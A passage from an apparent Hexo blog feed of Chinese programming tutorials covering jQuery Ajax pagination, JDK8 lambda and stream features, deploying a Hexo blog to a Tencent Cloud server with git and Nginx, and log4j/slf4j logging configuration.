class="line">              $(&quot;#pages&quot;).append(&#x27;&lt;li&gt;&lt;a href=&quot;#&quot;&gt;&amp;#171;&lt;/a&gt;&lt;/li&gt;&#x27;)</span><br><span class="line">              $(&quot;#pages&quot;).append(&#x27;&lt;li&gt;&lt;a href=&quot;#&quot;&gt;.&lt;/a&gt;&lt;/li&gt;&#x27;)</span><br><span class="line">              for (var i=pagechange;i&lt;data/pagecount+1;i++)&#123;</span><br><span class="line">                  $(&quot;#pages&quot;).append(&#x27;&lt;li&gt;&lt;a href=&quot;#&quot;&gt;&#x27;+i+&#x27;&lt;/a&gt;&lt;/li&gt;&#x27;)</span><br><span class="line">                  if(i-pagechange&gt;10)&#123;</span><br><span class="line">                      $(&quot;#pages&quot;).append(&#x27;&lt;li&gt;&lt;a href=&quot;#&quot;&gt;...&lt;/a&gt;&lt;/li&gt;&#x27;)</span><br><span class="line">                      break;</span><br><span class="line">                  &#125;</span><br><span class="line">              &#125;</span><br><span class="line">              $(&quot;#pages&quot;).append(&#x27;&lt;li&gt;&lt;a href=&quot;#&quot;&gt;&amp;#187;&lt;/a&gt;&lt;/li&gt;&#x27;)</span><br><span class="line">          &#125;)</span><br><span class="line">          $(&quot;.usershead td&quot;).remove();</span><br><span class="line">          for (var i = 0; i &lt;headnames.length ; i++) &#123;</span><br><span class="line">              $(&quot;.usershead&quot;).append(&#x27;&lt;td&gt;&#x27;+ headnames[i]+&#x27;&lt;/td&gt;&#x27;)</span><br><span class="line">          &#125;</span><br><span class="line">          $.post(limithref,&#123;begin:(page-1)*pagecount,end:pagecount&#125;,function (data) &#123;</span><br><span class="line">              $(&quot;#users tr&quot;).remove();</span><br><span class="line">              for (var i=0;i&lt;pagecount;i++)&#123;</span><br><span class="line">                  $(&quot;#users&quot;).append(&#x27;&lt;tr id=&quot;&#x27;+i+&#x27;pagerow&quot;&gt;&lt;/tr&gt;&#x27;)</span><br><span class="line">                  Object.getOwnPropertyNames(data[i]).forEach(function (key) &#123;</span><br><span class="line">                      var notlookboo=true;</span><br><span class="line">                      for(var j=0;j&lt;notlookattr.length;j++)&#123;</span><br><span class="line">                          if(key==notlookattr[j])&#123;</span><br><span class="line">                              notlookboo=false;</span><br><span class="line">                          &#125;</span><br><span class="line">                      &#125;</span><br><span class="line">                      if(notlookboo)&#123;</span><br><span class="line">                          $(&quot;tr[id=&#x27;&quot;+i+&quot;pagerow&#x27;]&quot;).append((&#x27;&lt;td&gt;&#x27; + data[i][key]+ &#x27;&lt;/td&gt;&#x27;))</span><br><span class="line">                      &#125;</span><br><span class="line">                  &#125;)</span><br><span class="line">              &#125;</span><br><span class="line"> </span><br><span class="line">          &#125;)</span><br><span class="line">      &#125;</span><br></pre></td></tr></table></figure><h2 id="html代码"><a href="#html代码" class="headerlink" title="html代码"></a>html代码</h2><p><strong>注意：</strong> 样式需要导入bootstrap样式会好看一点</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">&lt;table class=&quot;table table-hover&quot;&gt;</span><br><span class="line">        &lt;thead&gt;</span><br><span class="line">            &lt;tr class=&quot;usershead&quot;&gt;&lt;/tr&gt;</span><br><span class="line">        &lt;/thead&gt;</span><br><span class="line">        &lt;tbody id=&quot;users&quot;&gt;</span><br><span class="line"> </span><br><span class="line">        &lt;/tbody&gt;</span><br><span class="line">    &lt;/table&gt;</span><br><span class="line">    &lt;ul class=&quot;pagination&quot; id=&quot;pages&quot;&gt;</span><br><span class="line"> </span><br><span class="line">    &lt;/ul&gt;</span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> Ajax </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 分页 </tag>
            
            <tag> Ajax </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>JDK8的新特性</title>
      <link href="/2018/07/09/jdk8-de-xin-te-xing/"/>
      <url>/2018/07/09/jdk8-de-xin-te-xing/</url>
      
        <content type="html"><![CDATA[<h1 id="JDK8-新特性"><a href="#JDK8-新特性" class="headerlink" title="JDK8 新特性"></a>JDK8 新特性</h1><p>以下列出两点重要特性：</p><ul><li><p>Lambda 表达式（匿名函数）</p></li><li><p>Stream 多线程并行数据处理（重要）</p><h1 id="新特性"><a href="#新特性" class="headerlink" title="新特性"></a>新特性</h1></li><li><p>接口的默认方法只需要使用 <code>default</code> 关键字即可，这个特征又叫做 扩展方法</p></li><li><p>Lambda 表达式</p></li><li><p>Functional 接口  <strong>函数式接口</strong> 是指仅仅只包含一个抽象方法的接口，每一个该类型的 Lambda 表达式都会被匹配到这个抽象方法。你只需要给你的接口添加 <code>@FunctionalInterface</code> 注解</p></li><li><p>使用 <code>::</code> 双冒号关键字来传递方法(静态方法和非静态方法)</p></li><li><p>Predicate 接口和 Lambda 表达式</p></li><li><p>Function 接口</p><ul><li>Function 有一个参数并且返回一个结果，并附带了一些可以和其他函数组合的默认方法</li><li>compose 方法表示在某个方法之前执行</li><li>andThen 方法表示在某个方法之后执行</li><li>注意：compose 和 andThen 方法调用之后都会把对象自己本身返回，这可以 <strong>方便链式编程</strong></li></ul></li><li><p>Supplier 接口，返回一个任意范型的值，和 Function 接口不同的是该接口 <strong>没有任何参数</strong></p></li><li><p>Consumer 接口，接收一个任意范型的值，和 Function 接口不同的是该接口 <strong>没有任何值</strong></p></li><li><p>Optional 类</p><ul><li>Optional 不是接口而是一个类，这是个用来防止 <code>NullPointerException</code> 异常的辅助类型</li><li>Optional 被定义为一个简单的容器，其值可能是 null 或者不是 null。</li><li>在 Java8 之前一般某个函数应该返回非空对象但是偶尔却可能返回了 null，而在 Java8 中，不推荐你返回 null 而是返回 Optional。</li><li>这是一个可以为 null 的容器对象。</li><li>如果值存在则 <code>isPresent()</code> 方法会返回 true，调用 <code>get()</code> 方法会返回该对象。<h1 id="小栗子"><a href="#小栗子" class="headerlink" title="小栗子"></a>小栗子</h1><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">package com.lele.jdk8.feature.lambda;</span><br><span class="line"></span><br><span class="line">import java.util.Arrays;</span><br><span class="line">import java.util.List;</span><br><span class="line">import java.util.stream.Collectors;</span><br><span class="line"></span><br><span class="line">/**</span><br><span class="line"> * Lambda 基本用法</span><br><span class="line"> * &lt;p&gt;Title: BaseLambda&lt;/p&gt;</span><br><span class="line"> * &lt;p&gt;Description: &lt;/p&gt;</span><br><span class="line"> *</span><br><span class="line"> * @author Lusifer</span><br><span class="line"> * @version 1.0.0</span><br><span class="line"> * @date 2019/1/6 10:42</span><br><span class="line"> */</span><br><span class="line">public class BaseLambda &#123;</span><br><span class="line">    public static void main(String[] args) &#123;</span><br><span class="line">        testForeach();</span><br><span class="line">        testStreamDuplicates();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    /**</span><br><span class="line">     * Lambda 遍历</span><br><span class="line">     */</span><br><span class="line">    public static void testForeach() &#123;</span><br><span class="line">        // 定义一个数组</span><br><span class="line">        String[] array = &#123;</span><br><span class="line">                &quot;尼尔机械纪元&quot;,</span><br><span class="line">                &quot;关于我转生成为史莱姆这件事&quot;,</span><br><span class="line">                &quot;实力至上主义教师&quot;,</span><br><span class="line">                &quot;地狱少女&quot;</span><br><span class="line">        &#125;;</span><br><span class="line"></span><br><span class="line">        // 转换成集合</span><br><span class="line">        List&lt;String&gt; acgs = Arrays.asList(array);</span><br><span class="line"></span><br><span class="line">        // 传统的遍历方式</span><br><span class="line">        System.out.println(&quot;传统的遍历方式：&quot;);</span><br><span class="line">        for (String acg : acgs) &#123;</span><br><span class="line">            System.out.println(acg);</span><br><span class="line">        &#125;</span><br><span class="line">        System.out.println();</span><br><span class="line"></span><br><span class="line">        // 使用 Lambda 表达式以及函数操作(functional operation)</span><br><span class="line">        System.out.println(&quot;Lambda 表达式以及函数操作：&quot;);</span><br><span class="line">        acgs.forEach((acg) -&gt; System.out.println(acg));</span><br><span class="line">        System.out.println();</span><br><span class="line"></span><br><span class="line">        // 在 Java 8 中使用双冒号操作符(double colon operator)</span><br><span class="line">        System.out.println(&quot;使用双冒号操作符：&quot;);</span><br><span class="line">        acgs.forEach(System.out::println);</span><br><span class="line">        System.out.println();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    /**</span><br><span class="line">     * Stream 去重复</span><br><span class="line">     * String 和 Integer 可以使用该方法去重</span><br><span class="line">     */</span><br><span class="line">    public static void testStreamDuplicates() &#123;</span><br><span class="line">        System.out.println(&quot;Stream 去重复：&quot;);</span><br><span class="line"></span><br><span class="line">        // 定义一个数组</span><br><span class="line">        String[] array = &#123;</span><br><span class="line">                &quot;尼尔机械纪元&quot;,</span><br><span class="line">                &quot;尼尔机械纪元&quot;,</span><br><span class="line">                &quot;关于我转生成为史莱姆这件事&quot;,</span><br><span class="line">                &quot;关于我转生成为史莱姆这件事&quot;,</span><br><span class="line">                &quot;实力至上主义教师&quot;,</span><br><span class="line">                &quot;实力至上主义教师&quot;,</span><br><span class="line">                &quot;地狱少女&quot;,</span><br><span class="line">                &quot;地狱少女&quot;</span><br><span class="line">        &#125;;</span><br><span class="line"></span><br><span class="line">        // 转换成集合</span><br><span class="line">        List&lt;String&gt; acgs = Arrays.asList(array);</span><br><span class="line"></span><br><span class="line">        // Stream 去重复</span><br><span class="line">        acgs = acgs.stream().distinct().collect(Collectors.toList());</span><br><span class="line"></span><br><span class="line">        // 打印</span><br><span class="line">        acgs.forEach(System.out::println);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></li></ul></li></ul>]]></content>
      
      
      <categories>
          
          <category> JAVA </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> Jdk </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Hexo 博客部署到腾讯云教程</title>
      <link href="/2018/07/03/hexo-bo-ke-bu-shu-dao-teng-xun-yun-jiao-cheng/"/>
      <url>/2018/07/03/hexo-bo-ke-bu-shu-dao-teng-xun-yun-jiao-cheng/</url>
      
        <content type="html"><![CDATA[<blockquote><ul><li>本文首发于我的个人博客：<a href="leblog.github.io">乐乐的博客</a></li><li>文章链接：<a href="">传送门</a></li></ul></blockquote><blockquote><p>本篇内容用来讲述如何将 hexo 博客部署到腾讯云的服务器上。<br>只要通过三步即可成功部署：</p><ul><li>云服务器端 git 的配置</li><li>Nginx 的配置</li><li>本地端 hexo 的设置更改</li></ul></blockquote><p>下面开始正式讲解如何部署。</p><p><strong>前期需要准备</strong>：</p><ul><li>一个腾讯云服务器</li><li>hexo 本地博客</li></ul><p>顺便说下我的服务器环境：<br>| 操作系统            | CPU | 内存  | 带宽    |<br>|—————–|—–|—–|——-|<br>| CentOS 7.2 64位 | 1核  | 2GB | 1Mbps |</p><h1 id="1-进入云服务器中"><a href="#1-进入云服务器中" class="headerlink" title="1. 进入云服务器中"></a>1. 进入云服务器中</h1><ul><li>首先点击下边网站，登录你的进入云服务器的控制台<br>腾讯云服务器的控制台：<a href="https://console.cloud.tencent.com/cvm/index">https://console.cloud.tencent.com/cvm/index</a></li></ul><p><img src="https://note.youdao.com/yws/public/resource/4446b015d9dc2fb92d362fab8b947642/xmlnote/864802B7DBE0495F912DBFCD76517FFE/1290" alt=""></p><ul><li>左边菜单选择云主机，然后找到你的服务器。点击登录<br><img src="https://note.youdao.com/yws/public/resource/4446b015d9dc2fb92d362fab8b947642/xmlnote/8C43CC8C4D3D456F96D1C0FC5704994E/1291" alt=""></li><li>输入密码，进入 云服务器 CentOS中。（初始密码在控制台右上角的消息列表中）<br><img src="https://note.youdao.com/yws/public/resource/4446b015d9dc2fb92d362fab8b947642/xmlnote/19E9FE5BE3B647C7AB13DA3559D22D24/1289" alt=""></li></ul><h1 id="2-云服务器端配置-git"><a href="#2-云服务器端配置-git" class="headerlink" title="2. 云服务器端配置 git"></a>2. 云服务器端配置 git</h1><p>1.安装依赖库和编译工具</p><ul><li><p>安装依赖库：</p><blockquote><p>yum install curl-devel expat-devel gettext-devel openssl-devel zlib-devel </p></blockquote></li><li><p>安装编译工具：</p><blockquote><p>yum install gcc perl-ExtUtils-MakeMaker package</p></blockquote></li></ul><p>2.下载git</p><ul><li>选择一个目录来存放下载下来的git安装包。这里选择了<code>/usr/local/src</code>目录</li></ul><blockquote><p> cd /usr/local/src</p></blockquote><ul><li>到官网找一个新版稳定的源码包下载到 <code>/usr/local/src</code> 文件夹里</li></ul><blockquote><p>wget <a href="https://www.kernel.org/pub/software/scm/git/git-2.16.2.tar.gz">https://www.kernel.org/pub/software/scm/git/git-2.16.2.tar.gz</a></p></blockquote><ul><li><p>解压编译 git</p></li><li><p>在当前目录下解压 <code>git-2.16.2.tar.gz</code></p></li></ul><blockquote><p>tar -zvxf git-2.16.2.tar.gz</p></blockquote><ul><li>进入 git-2.16.2.tar.gz 目录下</li></ul><blockquote><p>cd git-2.16.2</p></blockquote><ul><li>执行编译</li></ul><blockquote><p>make all prefix=/usr/local/git</p></blockquote><ul><li>安装 git 到 <code>/usr/local/git</code> 目录下</li></ul><blockquote><p>make install prefix=/usr/local/git</p></blockquote><p>4.配置 git 环境变量</p><ul><li>将 git 加入 PATH 目录中</li></ul><blockquote><p>echo ‘export PATH=$PATH:/usr/local/git/bin’ &gt;&gt; /etc/bashrc</p></blockquote><ul><li>使 git 环境变量生效</li></ul><blockquote><p>source /etc/bashrc</p></blockquote><p>5.查看 git 版本</p><blockquote><p>git –version</p></blockquote><p>如果此时能查看到 git 的版本号，说明我们已经安装成功了。</p><p>6.创建 git 仓库，用于存放博客网站资源。</p><ul><li>在 <code>home/git</code> 的目录下，创建一个名为<code>hexoBlog</code>的裸仓库（bare repo）。<br>如果没有 <code>home/git</code> 目录，需要先创建；然后修改目录的所有权和用户权限。</li></ul><blockquote><p>mkdir /home/git/<br><br>chown -R $USER:$USER /home/git/<br><br>chmod -R 755 /home/git/</p></blockquote><p>然后，执行如下命令：</p><blockquote><p>cd /home/git/<br><br>git init –bare hexoBlog.git</p></blockquote><p>刚才这一步主要创建一个裸的 git 仓库。</p><p>7.创建一个新的 git 钩子，用于自动部署。</p><ul><li>在 <code>/home/git/hexoBlog.git</code> 下，有一个自动生成的<code>hooks</code> 文件夹。我们需要在里边新建一个新的钩子文件 <code>post-receive</code>。</li></ul><blockquote><p>vim /home/git/hexoBlog.git/hooks/post-receive</p></blockquote><p>按 <code>i</code>键进入文件的编辑模式，在该文件中添加两行代码（将下边的代码粘贴进去)，指定 Git 的工作树（源代码）和 Git 目录（配置文件等）。</p><blockquote><p>#!/bin/bash<br><br>git –work-tree=/home/hexoBlog –git-dir=/home/git/hexoBlog.git checkout -f</p></blockquote><p>然后，按<code>Esc</code>键退出编辑模式，输入<code>:wq</code>保存退出。<br>修改文件权限，使得其可执行。</p><blockquote><p>chmod +x /home/git/hexoBlog.git/hooks/post-receive</p></blockquote><p>到这里，我们的 git 仓库算是完全搭建好了。下面进行 Nginx 的配置。</p><h1 id="3-云服务器端配置-Nginx"><a href="#3-云服务器端配置-Nginx" class="headerlink" title="3.云服务器端配置 Nginx"></a>3.云服务器端配置 Nginx</h1><p>安装 Nginx<br>yum install -y nginx<br>启动 Nginx<br>service nginx start<br>测试 Nginx 服务器<br>wget <a href="http://127.0.0.1">http://127.0.0.1</a><br>能够正常获取以下欢迎页面说明Nginx安装成功。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">Connecting to 127.0.0.1:80... connected.</span><br><span class="line">HTTP request sent, awaiting response... 200 OK</span><br><span class="line">Length: 43704 (43K) [text/html]</span><br><span class="line">Saving to: ‘index.html’</span><br><span class="line"></span><br><span class="line">100%[=======================================&gt;] 43,704      --.-K/s   in 0s</span><br><span class="line"></span><br><span class="line">2018-03-09 23:04:09 (487 MB/s) - ‘index.html’ saved [43704/43704]</span><br></pre></td></tr></table></figure><ul><li><p>测试网页是否能打开<br>在浏览器中输入服务器 ip 地址，就是服务器的公网 ip。</p></li><li><p>配置 Nginx 托管文件目录</p><ul><li>接下来，创建 <code>/home/hexoBlog</code>目录，用于 <code>Nginx</code> 托管。<blockquote><p>mkdir /home/hexoBlog/<br><br>chown -R $USER:$USER /home/hexoBlog/<br><br>chmod -R 755 /home/hexoBlog/</p></blockquote></li></ul></li><li><p>查看 Nginx 的默认配置的安装位置</p></li></ul><blockquote><p>nginx -t</p></blockquote><ul><li>修改Nginx的默认配置，其中 cd 后边就是刚才查到的安装位置（每个人可能都不一样）</li></ul><blockquote><p>vim /etc/nginx/nginx.conf</p></blockquote><ul><li>按方向键，找到如下位置</li></ul><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">server &#123;</span><br><span class="line">    listen 80 default_server;</span><br><span class="line">    listen [::]:80 default_server;</span><br><span class="line">    root /home/hexoBlog;    #需要修改</span><br><span class="line">    </span><br><span class="line">    server_name www.bujige.net; #需要修改</span><br><span class="line">    </span><br><span class="line">    # Load configuration files for the default server block.</span><br><span class="line">    include /etc/nginx/default.d/*.conf;</span><br><span class="line">    location / &#123;</span><br><span class="line">    &#125;</span><br><span class="line">    error_page 404 /404.html;</span><br><span class="line">        location = /40x.html &#123;</span><br><span class="line">    &#125;</span><br></pre></td></tr></table></figure><p>按<code>i</code>键进入插入模式，将其中的 root 值改为<code>/home/hexoBlog</code> （刚才创建的托管仓库目录）。<br>将 server_name 值改成你的域名。</p><ul><li>重启 Nginx 服务</li></ul><blockquote><p>service nginx restart</p></blockquote><p>至此，服务器端配置就结束了。接下来，就剩下本地 hexo 的配置更改了。</p><h1 id="4-修改-hexo-站点配置文件-git-相关设置"><a href="#4-修改-hexo-站点配置文件-git-相关设置" class="headerlink" title="4. 修改 hexo 站点配置文件 git 相关设置"></a>4. 修改 hexo 站点配置文件 git 相关设置</h1><ul><li>打开你本地的 hexo 博客所在文件，打开站点配置文件（不是主题配置文件），做以下修改。</li></ul><blockquote><p>deploy:<br><br>    type: git<br><br>    repo: root@CVM 你的云服务器的IP地址:/home/git/hexoBlog<br><br>    branch: master</p></blockquote><ul><li>在 hexo 目录下执行部署，试试看。</li></ul><blockquote><p>cd 你的 hexo 目录<br><br>hexo clean<br><br>hexo generate<br><br>hexo deploy<br></p></blockquote><ul><li><p>打开你的公网 IP，看是不是已经部署成功了。<br><img src="https://note.youdao.com/yws/public/resource/4446b015d9dc2fb92d362fab8b947642/xmlnote/BD3DBBB4EC2E49ABA90A87DE1E9C7875/1416" alt=""></p></li><li><p>最后一步，更改域名解析。这一步不再做介绍。</p></li></ul>]]></content>
      
      
      <categories>
          
          <category> 教程 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> 教程 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>log4j的使用</title>
      <link href="/2018/06/11/log4j-de-shi-yong/"/>
      <url>/2018/06/11/log4j-de-shi-yong/</url>
      
        <content type="html"><![CDATA[<h1 id="概述"><a href="#概述" class="headerlink" title="概述"></a>概述</h1><p>一个完整的软件，日志是必不可少的。程序从开发、测试、维护、运行等环节，都需要向控制台或文件等位置输出大量信息。这些信息的输出， 在很多时候是使用 <code>System.out.println()</code> 无法完成的。</p><p>日志信息根据用途与记录内容的不同，分为 <strong>调试日志、运行日志、异常日志</strong>等。</p><p><code>Log4j</code> 的全称为 <code>Log for java</code>，即专门用于 Java 语言的日志记录工具。</p><h1 id="概述-1"><a href="#概述-1" class="headerlink" title="概述"></a>概述</h1><p>为了方便对于日志信息的输出显示，对日志内容进行了分级管理。日志级别由高到低，共分 6 个级别：</p><ul><li>fatal(致命的)</li><li>error</li><li>warn</li><li>info</li><li>debug</li><li>trace(堆栈)<h1 id="为什么要对日志进行分级"><a href="#为什么要对日志进行分级" class="headerlink" title="为什么要对日志进行分级"></a>为什么要对日志进行分级</h1></li></ul><p>无论是将日志输出到控制台，还是文件，其输出都会降低程序的运行效率。但由于调试、运行维护的需要，客户的要求等原因，需要进行必要的日志输出。这时就必须要在代码中加入日志输出语句。</p><p>这些输出语句若在程序运行时全部执行， 则势必会降低运行效率。例如， 使用 System.out.println() 将信息输出到控制台，则所有的该输出语句均将执行。会大大降低程序的执行效率。而要使其不输出，唯一的办法就是将这些输出语句逐个全部删除。这是个费时费力的过程。</p><p>将日志信息进行分级管理，便可方便的控制信息输出内容及输出位置：哪些信息需要输出，哪些信息不需要输出，只需在一个日志输出控制文件中稍加修改即可。而代码中的输出语句不用做任何修改。</p><p>从这个角度来说，代码中的日志编写，其实就是写大量的输出语句。只不过，这些输出语句比较特殊，它们具有级别，在程序运行期间不一定被执行。它们的执行是由另一个控制文件控制。</p><h1 id="日志输出简介"><a href="#日志输出简介" class="headerlink" title="日志输出简介"></a>日志输出简介</h1><p>Log4j 的日志输出控制文件，主要由三个部分构成：</p><ul><li>日志信息的输出位置：控制日志信息将要输出的位置，是控制台还是文件等。</li><li>日志信息的输出格式：控制日志信息的显示格式，即以怎样的字符串形式显示。</li><li>日志信息的输出级别：控制日志信息的显示内容，即显示哪些级别的日志信息。<br>有了日志输出控制文件，代码中只要设置好日志信息内容及其级别即可，通过控制文件便可控制这些日志信息的输出了。</li></ul><h1 id="日志属性配置文件"><a href="#日志属性配置文件" class="headerlink" title="日志属性配置文件"></a>日志属性配置文件</h1><p>日志属性文件 <code>log4j.properties</code> 是专门用于控制日志输出的。其主要进行三方面控制：</p><p>输出位置：控制日志将要输出的位置，是控制台还是文件等。<br>输出布局：控制日志信息的显示形式。<br>输出级别：控制要输出的日志级别。<br>日志属性文件由两个对象组成：日志附加器与根日志。</p><p>根日志，即为 Java 代码中的日志记录器，其主要由两个属性构成：日志输出级别与日志附加器。</p><p>日志附加器，则由日志输出位置定义，由其它很多属性进行修饰，如输出布局、文件位置、文件大小等。</p><h1 id="什么是日志附加器？"><a href="#什么是日志附加器？" class="headerlink" title="什么是日志附加器？"></a>什么是日志附加器？</h1><p>所谓日志附加器，就是为日志记录器附加上很多其它设置信息。附加器的本质是一个接口，其定义语法为：<code>log4j.appender.appenderName</code> = <code>输出位置</code></p><h1 id="常用的附加器实现类"><a href="#常用的附加器实现类" class="headerlink" title="常用的附加器实现类"></a>常用的附加器实现类</h1><ul><li><p>org.apache.log4j.ConsoleAppender：日志输出到控制台</p></li><li><p>org.apache.log4j.FileAppender：日志输出到文件</p></li><li><p>org.apache.log4j.RollingFileAppender：当日志文件大小到达指定尺寸的时候将产生一个新的日志文件</p></li><li><p>org.apache.log4j.DailyRollingFileAppender：每天产生一个日志文件</p><h1 id="常用布局类型"><a href="#常用布局类型" class="headerlink" title="常用布局类型"></a>常用布局类型</h1></li><li><p>org.apache.log4j.HTMLLayout：网页布局，以 HTML 表格形式布局</p></li><li><p>org.apache.log4j.SimpleLayout：简单布局，包含日志信息的级别和信息字符串</p></li><li><p>org.apache.log4j.PatternLayout：匹配器布局，可以灵活地指定布局模式。其主要是通过设置 PatternLayout 的 ConversionPattern 属性值来控制具体输出格式的 。<br>打印参数: Log4J 采用类似 C 语言中的 printf 函数的打印格式格式化日志信息</p></li><li><p>%m：输出代码中指定的消息</p></li><li><p>%p：输出优先级，即 DEBUG，INFO，WARN，ERROR，FATAL</p></li><li><p>%r：输出自应用启动到输出该 log 信息耗费的毫秒数</p></li><li><p>%c：输出所属的类目，通常就是所在类的全名</p></li><li><p>%t：输出产生该日志事件的线程名</p></li><li><p>%n：输出一个回车换行符，Windows 平台为 /r/n，Unix 平台为 /n</p></li><li><p>%d：输出日志时间点的日期或时间，默认格式为 ISO8601，也可以在其后指定格式，比如：%d{yyy MMM dd HH:mm:ss , SSS}，输出类似：2002年10月18日 22:10:28,921</p></li><li><p>%l：输出日志事件的发生位置，包括类目名、发生的线程，以及在代码中的行数。举例：Testlog4.main(TestLog4.java: 10 )</p></li></ul><h1 id="Slf4j-简介"><a href="#Slf4j-简介" class="headerlink" title="Slf4j 简介"></a>Slf4j 简介</h1><p>slf4j 的全称是 Simple Loging Facade For Java，即它仅仅是一个为 Java 程序提供日志输出的统一接口，并不是一个具体的日志实现方案，就比如 JDBC 一样，只是一种规则而已。所以单独的 slf4j 是不能工作的，必须搭配其他具体的日志实现方案，比如 apache 的 <code>org.apache.log4j.Logger</code>，JDK 自带的 <code>java.util.logging.Logger</code> 以及 log4j 等。<br>(Slf4j只有实现，也就是一个接口)</p><h1 id="POM"><a href="#POM" class="headerlink" title="POM"></a>POM</h1><p>继续之前的项目，pom.xml 配置如下：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;</span><br><span class="line">&lt;project xmlns=&quot;http://maven.apache.org/POM/4.0.0&quot; </span><br><span class="line">         xmlns:xsi=&quot;http://www.w3.org/2001/XMLSchema-instance&quot;</span><br><span class="line">         xsi:schemaLocation=&quot;http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd&quot;&gt;</span><br><span class="line">    &lt;modelVersion&gt;4.0.0&lt;/modelVersion&gt;</span><br><span class="line"></span><br><span class="line">    &lt;groupId&gt;com.funtl&lt;/groupId&gt;</span><br><span class="line">    &lt;artifactId&gt;hello-spring&lt;/artifactId&gt;</span><br><span class="line">    &lt;version&gt;1.0.0-SNAPSHOT&lt;/version&gt;</span><br><span class="line">    &lt;packaging&gt;jar&lt;/packaging&gt;</span><br><span class="line"></span><br><span class="line">    &lt;dependencies&gt;</span><br><span class="line">        &lt;dependency&gt;</span><br><span class="line">            &lt;groupId&gt;org.springframework&lt;/groupId&gt;</span><br><span class="line">            &lt;artifactId&gt;spring-context&lt;/artifactId&gt;</span><br><span class="line">            &lt;version&gt;4.3.17.RELEASE&lt;/version&gt;</span><br><span class="line">        &lt;/dependency&gt;</span><br><span class="line">        &lt;dependency&gt;</span><br><span class="line">            &lt;groupId&gt;junit&lt;/groupId&gt;</span><br><span class="line">            &lt;artifactId&gt;junit&lt;/artifactId&gt;</span><br><span class="line">            &lt;version&gt;4.12&lt;/version&gt;</span><br><span class="line">            &lt;scope&gt;test&lt;/scope&gt;</span><br><span class="line">        &lt;/dependency&gt;</span><br><span class="line">        &lt;dependency&gt;</span><br><span class="line">            &lt;groupId&gt;org.slf4j&lt;/groupId&gt;</span><br><span class="line">            &lt;artifactId&gt;slf4j-log4j12&lt;/artifactId&gt;</span><br><span class="line">            &lt;version&gt;1.7.25&lt;/version&gt;</span><br><span class="line">        &lt;/dependency&gt;</span><br><span class="line">    &lt;/dependencies&gt;</span><br><span class="line">&lt;/project&gt;</span><br></pre></td></tr></table></figure><p>主要增加了<code>org.slf4j:slf4j-log4j12</code> 依赖</p><h1 id="创建-log4j-properties配置文件"><a href="#创建-log4j-properties配置文件" class="headerlink" title="创建 log4j.properties配置文件"></a>创建 <code>log4j.properties</code>配置文件</h1><p>在 <code>src/main/resources</code> 目录下创建名为<code>log4j.properties</code> 的属性配置文件</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">log4j.rootLogger=INFO, console, file</span><br><span class="line"></span><br><span class="line">log4j.appender.console=org.apache.log4j.ConsoleAppender</span><br><span class="line">log4j.appender.console.layout=org.apache.log4j.PatternLayout</span><br><span class="line">log4j.appender.console.layout.ConversionPattern=%d %p [%c] - %m%n</span><br><span class="line"></span><br><span class="line">log4j.appender.file=org.apache.log4j.DailyRollingFileAppender</span><br><span class="line">log4j.appender.file.File=logs/log.log</span><br><span class="line">log4j.appender.file.layout=org.apache.log4j.PatternLayout</span><br><span class="line">log4j.appender.A3.MaxFileSize=1024KB</span><br><span class="line">log4j.appender.A3.MaxBackupIndex=10</span><br><span class="line">log4j.appender.file.layout.ConversionPattern=%d %p [%c] - %m%n</span><br></pre></td></tr></table></figure><p>日志配置相关说明：</p><ul><li><code>log4j.rootLogger</code>：根日志，配置了日志级别为 INFO，预定义了名称为 console、file 两种附加器</li><li><code>log4j.appender.console</code>：console 附加器，日志输出位置在控制台</li><li><code>log4j.appender.console.layout</code>：console 附加器，采用匹配器布局模式</li><li><code>log4j.appender.console.layout.ConversionPattern</code>：console 附加器，日志输出格式为：日期 日志级别 [类名] - 消息换行符</li><li><code>log4j.appender.file</code>：file 附加器，每天产生一个日志文件</li><li><code>log4j.appender.file.File</code>：file 附加器，日志文件输出位置 logs/log.log</li><li><code>log4j.appender.file.layout</code>：file 附加器，采用匹配器布局模式</li><li><code>log4j.appender.A3.MaxFileSize</code>：日志文件最大值</li><li><code>log4j.appender.A3.MaxBackupIndex</code>：最多纪录文件数</li><li><code>log4j.appender.file.layout.ConversionPattern</code>：file 附加器，日志输出格式为：日期 日志级别 [类名] - 消息<code>换行符</code><h1 id="测试日志输出"><a href="#测试日志输出" class="headerlink" title="测试日志输出"></a>测试日志输出</h1>创建一个测试类，并测试日志输出效果，代码如下：<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">package com.funtl.hello.spring;</span><br><span class="line"></span><br><span class="line">import org.slf4j.Logger;</span><br><span class="line">import org.slf4j.LoggerFactory;</span><br><span class="line"></span><br><span class="line">public class MyTest &#123;</span><br><span class="line"></span><br><span class="line">    public static final Logger logger = LoggerFactory.getLogger(MyTest.class);</span><br><span class="line"></span><br><span class="line">    public static void main(String[] args) &#123;</span><br><span class="line">        logger.info(&quot;slf4j for info&quot;);</span><br><span class="line">        logger.debug(&quot;slf4j for debug&quot;);</span><br><span class="line">        logger.error(&quot;slf4j for error&quot;);</span><br><span class="line">        logger.warn(&quot;slf4j for warn&quot;);</span><br><span class="line"></span><br><span class="line">        String message = &quot;Hello SLF4J&quot;;</span><br><span class="line">        logger.info(&quot;slf4j message is : &#123;&#125;&quot;, message);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>此时控制台显示为：<figure class="highlight plaintext"><table><tr><td 